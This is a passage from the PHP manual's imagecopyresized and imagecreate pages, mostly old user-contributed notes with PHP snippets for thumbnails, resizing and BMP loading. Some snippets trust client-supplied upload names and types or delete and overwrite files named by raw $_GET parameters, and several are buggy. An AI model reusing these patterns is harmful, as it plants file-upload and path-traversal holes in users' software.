      $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
      $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

      $thumb  = imagecreatetruecolor($th_width, $th_height);
      imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

      imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios 04-Oct-2005 12:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ 11-Aug-2005 07:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
    copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
    or die ("Could not copy");
        echo "";
        echo "Image Name: ".$_FILES['imagefile']['name']."";
        echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
        echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
        echo "<br>Image Copy Done....<br>";
        }
         else {
            echo "<br><br>";
            echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
              }
//-----upload end

//------start thumbnailer

    $thumbsize=120;
    echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
    $imgfile = "../images/$imagefile_name";//processed image
    echo "
         2.Image destination: - OK: $imgfile<br>";
    header('Content-type: image/jpeg');
    list($width, $height) = getimagesize($imgfile);
    echo "3.Image size - OK: W=$width x H=$height<br>";
    $imgratio=$width/$height;
    echo "3.Image ratio - OK: $imgratio<br>";
    if ($imgratio>1){
      $newwidth = $thumbsize;
      $newheight = $thumbsize/$imgratio;}
    else{
      $newheight = $thumbsize;
      $newwidth = $thumbsize*$imgratio;}
    echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
    $thumb = ImageCreateTrueColor($newwidth,$newheight);
    echo "5.TrueColor - OK<br>";
    $source = imagecreatefromjpeg($imgfile);
    echo "6.From JPG - OK<br>";
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com 10-Aug-2005 10:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
    preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
    switch (strtolower($ext[2])) {
        case 'jpg' :
        case 'jpeg': $im   = imagecreatefromjpeg ($imagePath);
                     break;
        case 'gif' : $im   = imagecreatefromgif  ($imagePath);
                     break;
        case 'png' : $im   = imagecreatefrompng  ($imagePath);
                     break;
        default    : $stop = true;
                     break;
    }

    if (!isset($stop)) {
        $x = imagesx($im);
        $y = imagesy($im);

        if (($max_x/$max_y) < ($x/$y)) {
            $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
        }
        else {
            $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
        }
        imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

        imagegif($save, "{$saveToDir}{$ext[1]}.gif");
        imagedestroy($im);
        imagedestroy($save);
    }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com 07-Aug-2005 02:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

    // Taller
    if($image_ratio < $destination_ratio)
    {
        //Too tall:
        if($height > $max_height)
        {
            $height = $max_height;
            $width = ceil($height / $image_ratio);
        }
    }
    // Wider / balanced & too wide:
    else if ($width > $max_width)
    {
        $width = $max_width;
        $height = ceil($width / $image_ratio);
    }
?>
saurabh at saurabh dot com 22-Jul-2005 04:57
URGENT!

I am trying to make thumbnails of image(png, jpg, gif)...

Not a single code is working. Do we have to make any changes in php.ini?

which version of gd is required can anybody xplain me whole thing.
brian <dot> tyler <at> gmail <dot> com 12-Jun-2005 03:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com 18-May-2005 04:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
    $dir_name = $cur_dir;
    $olddir = getcwd();
    $dir = opendir($dir_name);
    $filename = $cur_file;
    $format='';
    if(preg_match("/.jpg/i", "$filename"))
    {
        $format = 'image/jpeg';
    }
    if (preg_match("/.gif/i", "$filename"))
    {
        $format = 'image/gif';
    }
    if(preg_match("/.png/i", "$filename"))
    {
        $format = 'image/png';
    }
    if($format!='')
    {
        list($width, $height) = getimagesize($filename);
        $newheight=$height*$newwidth/$width;
        switch($format)
        {
            case 'image/jpeg':
            $source = imagecreatefromjpeg($filename);
            break;
            case 'image/gif';
            $source = imagecreatefromgif($filename);
            break;
            case 'image/png':
            $source = imagecreatefrompng($filename);
            break;
        }
        $thumb = imagecreatetruecolor($newwidth,$newheight);
        imagealphablending($thumb, false);
        $source = @imagecreatefromjpeg("$filename");
        imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
        $filename="$output_dir/$filename";
        @imagejpeg($thumb, $filename);
    }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net 05-May-2005 01:37
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com 25-Apr-2005 03:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com 28-Feb-2005 07:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
    list($orig_width, $orig_height) = getimagesize($filename);

    $width = $orig_width;
    $height = $orig_height;

    # taller
    if ($height > $max_height) {
        $width = ($max_height / $height) * $width;
        $height = $max_height;
    }

    # wider
    if ($width > $max_width) {
        $height = ($max_width / $width) * $height;
        $width = $max_width;
    }

    $image_p = imagecreatetruecolor($width, $height);

    $image = imagecreatefromjpeg($filename);

    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

    return $image_p;
}
haker4o at haker4o dot org 26-Feb-2005 08:57
<?php
//                      Resize image.
//             Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
    }
    if(preg_match("/.jpg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = Imagecreatefromjpeg($pics);
    }
    if(preg_match("/.png/i", "$pics")){
    $source = imagecreatefrompng($pics);
    }
    if(preg_match("/.gif/i", "$pics")){
    $source = imagecreatefromgif($pics);
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
    if(preg_match("/.jpg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.png/i", "$pics")){
    return imagepng($thumb);
    }
    if(preg_match("/.gif/i", "$pics")){
    return imagegif($thumb);
    }
 }
?>
smelban at smwebdesigns dot com 15-Feb-2005 08:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
    list($width, $height) = getimagesize($filename);
    if($width > $height && $newheight < $height){
        $newheight = $height / ($width / $newwidth);
    } else if ($width < $height && $newwidth < $width) {
        $newwidth = $width / ($height / $newheight);
    } else {
        $newwidth = $width;
        $newheight = $height;
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    $source = imagecreatefromjpeg($filename);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
}
?>
finnsi at centrum dot is 13-Feb-2005 05:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

    /*

    WRITTEN BY:
    Finnur Eiriksson, (http://www.centrum.is/finnsi)
    Based on snippets that have been posted on www.PHP.net
    Drop me an e-mail if you have any questions.

    NOTE:
    This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
    you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
    will have to add som code as well (Read the comments to find out where to do this).

    IMPORTANT:
    The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

    The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
    in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
    can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
    and another upload directory

    */

    $dir_name = "FooBar";  // Enter the name of the directory that contains the images
    $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
    $dir = opendir($dir_name); //make a directory handle
    //To delete a picture
    if(isset($_GET['delpic'])){
        chdir('images');
        $delpic = $_GET['delpic'];
        @unlink($delpic);
        chdir($olddir);
    }
    //To resize a picture
    if(isset($_GET['resize'])){
        //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
        // File and new size
        $percent = ($_GET['resize']/100);
        chdir('images');// change the windows directory to the image directory
        $filename = $_GET['resizepic'];

        // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
        // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
        $format='';
        if(preg_match("/.jpg/i", "$filename")){
            $format = 'image/jpeg';
            header('Content-type: image/jpeg');
        }
        if (preg_match("/.gif/i", "$filename")){
            $format = 'image/gif';
            header('Content-type: image/gif');
        }
        if($format!=''){  //This is where the actual resize process begins...
            // Get new sizes
            list($width, $height) = getimagesize($filename);
            $newwidth = $width * $percent;
            $newheight = $height * $percent;

            // Load the image
            switch($format){
                case 'image/jpeg':
                    $source = imagecreatefromjpeg($filename);
                break;
                case 'image/gif';
                    $source = imagecreatefromgif($filename);
                break;
            }
            //Get the Image
            $thumb = imagecreatetruecolor($newwidth,$newheight);
            //This must be set to false in order to be able to overwrite the black
            //pixels in the background with transparent pixels. Otherwise the new
            //pixels would just be applied on top of the black background.
            imagealphablending($thumb, false);
            //Make a temporary file handle
            $source = @imagecreatefromjpeg($filename);
            // Resize
            imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
            //Write the image to the destination file
            @imagejpeg($thumb, $filename);
            //Change back to the old directory... I'm not sure that this is neccessary
            chdir($olddir);
            //Specify where you want the user to go after the operation:
            header('Location: foobar.php');
        }
    }

?>
thomas at dermueller dot com 10-Feb-2005 01:23
Just in addition to the script posted by marcy DOT xxx (AT) gmail.com:

There is one error in this script, that's why it didn't work for me.

Instead of this line:
$source = @function_image_create($imgfile);

use this line:
$source = @$function_image_create($imgfile);
marcy DOT xxx (AT) gmail.com 02-Jan-2005 11:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "jpg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
case "jpeg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "png":
    $function_image_create = "ImageCreateFromPng";
    $function_image_new = "ImagePNG";
break;
case "gif":
    $function_image_create = "ImageCreateFromGif";
    $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
backglancer at hotmail 13-Dec-2004 07:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
        $r = $oh/$ow;
        $new_h = ($oh > $ow) ? $max : $max*$r;
        $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de 28-Nov-2000 07:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.
imagecopyresampled
imagecreate
GD and Image Functions


Create a new palette based image

imagecopyresized
imagecreatefromgd2
GD and Image Functions
PHP Manual

imagecreate

(PHP 4, PHP 5)

imagecreate — Create a new palette based image

Description

resource imagecreate ( int $width , int $height )

imagecreate() returns an image identifier representing a blank image of specified size.

We recommend the use of imagecreatetruecolor().

Parameters

width

The image width.

height

The image height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating a new GD image stream and outputting an image.

<?php
header("Content-Type: image/png");
$im = @imagecreate(110, 20)
    or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 0, 0, 0);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Creating a new GD image stream and outputting an image.

See Also

  • imagedestroy() - Destroy an image
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

JamesM 26-Mar-2010 12:03
doesnt ruin the image but adds display to the output.
this will generate an image with a random color. if you like it you can use it because you have the RBG result too.
<?php
header("content-type:image/png");
$im = imagecreate(100, 100);
$a = sprintf('%04x',mt_rand(0, 65535));
$b = sprintf('%04x',mt_rand(0, 65535));
$c = sprintf('%04x',mt_rand(0, 65535));
$white = imagecolorallocate($im,$a,$b,$c);
imagepng($im);
imagedestroy($im);
echo "\n\n\n$a-$b-$c";
?>
dan at wow dot com 23-Sep-2009 10:29
if you want to create an image with a specific DPI, you can't control this directly from GD.

If you have access to gd.h (rarely on a shared hosting) you can modify GD_RESOLUTION and give it your desired value.

The solution that I found was directly manipulating the jpeg header bytes.
I hope this sample code would helps someone because it took me 5 hours of digging to figure out i have no other options.

<?php
header('Content-Disposition: attachment; filename="myimg.jpg"');
header('Cache-Control: private');
$dst    = imagecreatetruecolor(300, 300); /*this creates a 300x300 pixels image*/
ob_start(); /*don't send the output to the browser since we'll need to manipulate it*/
ImageJpeg($dst);
$img = ob_get_contents();
ob_end_clean();

//byte #14 in jpeg sets the resolution type: 0=none, 1=pixels per inch, 2=pixels per cm
//bytes 15-16 sets X resolution
//bytes 17-18 sets Y resolution
$img = substr_replace($img, pack('cnn',1,300,300),13,5);

echo $img;

?>
gpanz.blogspot.com 12-Dec-2008 07:02
function ImageCreateFromBMP($filename)

16 bit images do not have a palette...
use this :

$PALETTE = array();
if ($BMP['colors'] < 16777216 && $BMP['colors'] != 65536)
{
$PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
#nei file a 16bit manca la palette,
}

another fix:

elseif ($BMP['bits_per_pixel'] == 16)
{
$COLOR = unpack("v",substr($IMG,$P,2));
$blue  = (($COLOR[1] & 0x001f) << 3) + 7;
$green = (($COLOR[1] & 0x03e0) >> 2) + 7;
$red   = (($COLOR[1] & 0xfc00) >> 7) + 7;
$COLOR[1] = $red * 65536 + $green * 256 + $blue;
}
sk89q 14-Mar-2008 02:14
Loads a file based on its filetype and returns false if it fails.

<?php
function imagecreatefromfile($path, $user_functions = false)
{
    $info = @getimagesize($path);

    if(!$info)
    {
        return false;
    }

    $functions = array(
        IMAGETYPE_GIF => 'imagecreatefromgif',
        IMAGETYPE_JPEG => 'imagecreatefromjpeg',
        IMAGETYPE_PNG => 'imagecreatefrompng',
        IMAGETYPE_WBMP => 'imagecreatefromwbmp',
        IMAGETYPE_XBM => 'imagecreatefromwxbm',
        );

    if($user_functions)
    {
        $functions[IMAGETYPE_BMP] = 'imagecreatefrombmp';
    }

    if(!$functions[$info[2]])
    {
        return false;
    }

    if(!function_exists($functions[$info[2]]))
    {
        return false;
    }

    return $functions[$info[2]]($path);
}
?>
domelca at terra dot es 05-Mar-2008 05:04
function ImageCreateFromBMP($filename)

don't work with bmp 16 bits_per_pixel

change pixel generator for this

elseif ($BMP['bits_per_pixel'] == 16)
{
   $COLOR = unpack("v",substr($IMG,$P,2));
   $blue  = ($COLOR[1] & 0x001f) << 3;
   $green = ($COLOR[1] & 0x07e0) >> 3;
   $red   = ($COLOR[1] & 0xf800) >> 8;
   $COLOR[1] = $red * 65536 + $green * 256 + $blue;
}
scottlindh pwnd at hushmail dot com 19-Aug-2007 10:40
to install on UBUNTU do the following..

sudo apt-get install php5-gd

After installing the package I restarted the apache

sudo /etc/init.d/apache reload

goto love ubuntu...
Sohel Taslim 25-Jul-2007 12:22
It is easy and simple example to convert Text to Image with selected font.
It helps me to display Bangla text as image when users have no installed bangla font.

I hope it can help you too!

<?php
//Kip the font file together or write proper location.
makeImageF("Life in PHP.","CENTURY.TTF");

function makeImageF($text, $font="CENTURY.TTF", $W=200, $H=20, $X=0, $Y=0, $fsize=18, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

    $im = @imagecreate($W, $H)
        or die("Cannot Initialize new GD image stream");

    $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
    $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

    imagettftext($im, $fsize, $X, $Y, $fsize, $text_color, $font, $text);

    header("Content-type: image/gif");
    return imagegif($im);
}

?>
Pawka 14-Apr-2007 01:31
To make the gd library available for Apache2/mod_php on Fedora Linux the following commands are required:
1) yum install php-gd
2) /etc/init.d/httpd restart
php dot net at kingsquare dot nl 07-Jan-2007 03:02
To create an image from a PSD file, you can use imagecreatefrompsd(). It is available for download here: http://www.kingsquare.nl/phppsdreader/ . It returns a resource like the other ImageCreateFrom - functions
tc_ at anti dot gmx dot ch dot spam 19-Sep-2006 04:50
Small piece of code to display a preview of a file in an image (usefull for thumbnail view of a folder etc.)

<?php
$file = "test.txt"; //FILEADDRESS
$size = "100"; //IMAGE SIZE
$data = file($file);
$im = @ imagecreate($size, $size) or die();
$bc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
$lines = (int) $size / 10;
for ($t = 0; $t < $lines; $t++)
{
    imagestring($im, 3, 4, 4, $data[$t], $tc);
    imagestring($im, 3, 4, 4 + ($t * 10), $data[$t], $tc);
}
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>

Maybe it will be usefull for somebody.
Ortreum 07-Sep-2006 04:45
Use image as javascript test

There are two files - an image and an executive file. The image is loaded if the JavaScript is enabled. After (!) the page is loaded $_SESSION['js'] + 0 is 0 or 1.

the image (js.img.php):
<?php
session_start();
$_SESSION['js'] = 1;
header('Content-type: image/gif');
imagegif($im = imagecreate(1, 1));
imagedestroy($im);
?>

the html file (file.php):
<html>
<head>
<!--
<script type="text/javascript">
    var img = new Image();
    img.src = "js.img.php";
</script>
-->
</head>
<body>
<?php
if ($_SESSION['js'] . '' == '') echo 'Not checked for JavaScript.';
else if ($_SESSION['js'] + 0 == 0) echo 'JavaScript is disabled.';
if ($_SESSION['js'] + 1 == 1) echo 'JavaScript is enabled.';
?>
</body>
</html>

There are much more hidden actions that you can do by "pictures".
help at nanomc dot com 08-Nov-2005 11:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
    {
    $graph_x[$i] = $i;
    $graph_y[$i] = $i * $i;
    }

    $min_x = 9e99;
    $min_y = 9e99;
    $max_x = -9e99;
    $max_y = -9e99;

    $avg_y = 0.0;

    for($i = 0; $i < $graph_n; $i++ )
        {
        if( $graph_x[$i] < $min_x )
            $min_x = $graph_x[$i];

        if( $graph_x[$i] > $max_x )
            $max_x = $graph_x[$i];

        if( $graph_y[$i] < $min_y )
            $min_y = $graph_y[$i];

        if( $graph_y[$i] > $max_y )
            $max_y = $graph_y[$i];

        $avg_y += $graph_y[$i];
        }

    $avg_y = $avg_y / $graph_n;

    $min_x = 0;
    $min_y = 0;
    $max_x += $max_x * 0.05;
    $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold 15-Jun-2005 02:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:   DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:     The 15th of June 2005           */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des entêtes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des entêtes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
